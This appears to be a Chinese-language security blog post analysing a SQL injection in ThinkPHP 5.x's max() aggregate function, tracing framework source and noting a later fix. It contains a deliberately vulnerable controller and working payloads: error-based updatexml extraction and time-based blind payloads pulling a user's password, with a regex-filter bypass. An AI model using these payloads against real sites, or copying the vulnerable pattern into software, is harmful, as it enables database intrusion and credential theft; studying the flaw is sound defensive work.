thinkphp5.X 聚合函数注入

漏洞测试代码:

    public function index()
    {
        $column=input('column');

        $data=db('users')->max($column);
        dump($data);
    }

复现:

payload:

?column=id),updatexml(1,concat(0x7e,version()),1),(username

 

 

1、max函数分析

1     public function max($field, $force = true)
2     {
3         return $this->value('MAX(' . $field . ') AS tp_max', 0, $force);
4     }

首先max函数会对我们传入的参数$field进行一个拼接,将我们的payload中的括号进行闭合

 

 

 2、value函数分析

 1     public function value($field, $default = null, $force = false)
 2     {
 3         $result = false;
 4         if (empty($this->options['fetch_sql']) && !empty($this->options['cache'])) {
 5             // 判断查询缓存
 6             $cache = $this->options['cache'];
 7             if (empty($this->options['table'])) {
 8                 $this->options['table'] = $this->getTable();
 9             }
10             $key    = is_string($cache['key']) ? $cache['key'] : md5($field . serialize($this->options) . serialize($this->bind));
11             $result = Cache::get($key);
12         }
13         if (false === $result) {
14             if (isset($this->options['field'])) {
15                 unset($this->options['field']);
16             }
17             $pdo = $this->field($field)->limit(1)->getPdo();
18             if (is_string($pdo)) {
19                 // 返回SQL语句
20                 return $pdo;
21             }
22             $result = $pdo->fetchColumn();
23             if ($force) {
24                 $result += 0;
25             }
26 
27             if (isset($cache)) {
28                 // 缓存数据
29                 $this->cacheData($key, $result, $cache);
30             }
31         } else {
32             // 清空查询条件
33             $this->options = [];
34         }
35         return false !== $result ? $result : $default;
36     }

这里第17行返回了sql语句,所以我们需要跟进查看

 

3、field函数分析

 1     public function field($field, $except = false, $tableName = '', $prefix = '', $alias = '')
 2     {
 3         if (empty($field)) {
 4             return $this;
 5         }
 6         if (is_string($field)) {
 7             $field = array_map('trim', explode(',', $field));
 8         }
 9         if (true === $field) {
10             // 获取全部字段
11             $fields = $this->getTableInfo($tableName ?: (isset($this->options['table']) ? $this->options['table'] : ''), 'fields');
12             $field  = $fields ?: ['*'];
13         } elseif ($except) {
14             // 字段排除
15             $fields = $this->getTableInfo($tableName ?: (isset($this->options['table']) ? $this->options['table'] : ''), 'fields');
16             $field  = $fields ? array_diff($fields, $field) : $field;
17         }
18         if ($tableName) {
19             // 添加统一的前缀
20             $prefix = $prefix ?: $tableName;
21             foreach ($field as $key => $val) {
22                 if (is_numeric($key)) {
23                     $val = $prefix . '.' . $val . ($alias ? ' AS ' . $alias . $val : '');
24                 }
25                 $field[$key] = $val;
26             }
27         }
28 
29         if (isset($this->options['field'])) {
30             $field = array_merge($this->options['field'], $field);
31         }
32         $this->options['field'] = array_unique($field);
33         return $this;
34     }

第7行将传入的$field以逗号分开合并成数组

 

 

4、parseField函数分析

 1     protected function parseField($fields, $options = [])
 2     {
 3         if ('*' == $fields || empty($fields)) {
 4             $fieldsStr = '*';
 5         } elseif (is_array($fields)) {
 6             // 支持 'field1'=>'field2' 这样的字段别名定义
 7             $array = [];
 8             foreach ($fields as $key => $field) {
 9                 if (!is_numeric($key)) {
10                     $array[] = $this->parseKey($key, $options) . ' AS ' . $this->parseKey($field, $options);
11                 } else {
12                     $array[] = $this->parseKey($field, $options);
13                 }
14             }
15             $fieldsStr = implode(',', $array);
16         }
17         return $fieldsStr;
18     }

将传入的$fields数组合并赋值给$fieldsStr然后替换sql模板中的%FIELD%,得到sql语句

 

5、parseKey函数分析

 1    protected function parseKey($key, $options = [])
 2     {
 3         $key = trim($key);
 4         if (strpos($key, '$.') && false === strpos($key, '(')) {
 5             // JSON字段支持
 6             list($field, $name) = explode('$.', $key);
 7             $key                = 'json_extract(' . $field . ', \'$.' . $name . '\')';
 8         } elseif (strpos($key, '.') && !preg_match('/[,\'\"\(\)`\s]/', $key)) {
 9             list($table, $key) = explode('.', $key, 2);
10             if ('__TABLE__' == $table) {
11                 $table = $this->query->getTable();
12             }
13             if (isset($options['alias'][$table])) {
14                 $table = $options['alias'][$table];
15             }
16         }
17         if (!preg_match('/[,\'\"\*\(\)`.\s]/', $key)) {
18             $key = '`' . $key . '`';
19         }
20         if (isset($table)) {
21             if (strpos($table, '.')) {
22                 $table = str_replace('.', '`.`', $table);
23             }
24             $key = '`' . $table . '`.' . $key;
25         }
26         return $key;
27     }

第17行正则匹配如果没有其中的这些特殊字符就会执行失败,在一些sql语句例如subst((**),1,1)中,中间的1就会加上``从而导致执行失败

id),(if(ascii(substr((select password from users where id=1),1,1))>130,0,sleep(3))),(username

 

 

这个时候就可以在旁边加上()或者是*1就可以绕过正则匹配。

?column=id),(if(ascii(substr((select password from users where id=1),(1),1))>130,(0),sleep(3))),(username
?column=id),(if(ascii(substr((select password from users where id=1),1*1,1))>130,0*1,sleep(3))),(username

 

5.1.26更新:

更新parseKey方法,匹配的字符串不包括字母、数字、*、.就会抛出异常

 

posted @ 2021-07-26 23:27  1jzz  阅读(143)  评论(0编辑  收藏  举报